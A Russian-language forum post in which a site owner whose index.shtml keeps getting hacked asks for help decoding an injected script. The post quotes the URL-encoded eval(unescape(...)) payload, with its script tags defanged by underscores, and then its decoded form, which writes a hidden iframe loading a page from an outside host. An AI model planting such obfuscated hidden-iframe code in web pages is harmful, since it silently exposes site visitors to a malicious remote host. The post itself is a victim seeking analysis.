Помогите раскодировать

Повесили опять в index.shtml на сиджах дрянь.
Уже третий день подряд ломают, но не в этом дело.

Как понять что тут закодировано:

Код:

<scrip_t>eva_l(unescap_e("%77%69%6e%64%6f%77%2e%73%74%61%74%75%73%3d%27%44%6f%6e%65%27%3b%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%27%3c%69%66%72%61%6d%65%20%6e%61%6d%65%3d%37%62%65%34%66%37%35%65%38%32%39%30%20%73%72%63%3d%5c%27%68%74%74%70%3a%2f%2f%73%70%6c%2e%76%69%70%2d%64%64%6f%73%2e%6f%72%67%2f%69%6e%64%65%78%2e%70%68%70%3f%27%2b%4d%61%74%68%2e%72%6f%75%6e%64%28%4d%61%74%68%2e%72%61%6e%64%6f%6d%28%29%2a%31%37%33%36%29%2b%27%64%61%5c%27%20%77%69%64%74%68%3d%31%34%20%68%65%69%67%68%74%3d%31%32%34%20%73%74%79%6c%65%3d%5c%27%64%69%73%70%6c%61%79%3a%20%6e%6f%6e%65%5c%27%3e%3c%2f%69%66%72%61%6d%65%3e%27%29")); </scrip_t>

Осторожно там какая-то дрянь.
Подчеркивания поставил специально.

Код:

window.status='Done';document.write('<iframe name=7be4f75e8290 src=\'http://spl.vip-ddos.org/index.php?'+Math.round(Math.random()*1736)+'da\' width=14 height=124 style=\'display: none\'></iframe>')

iframe оно рисует

Спасибо большое!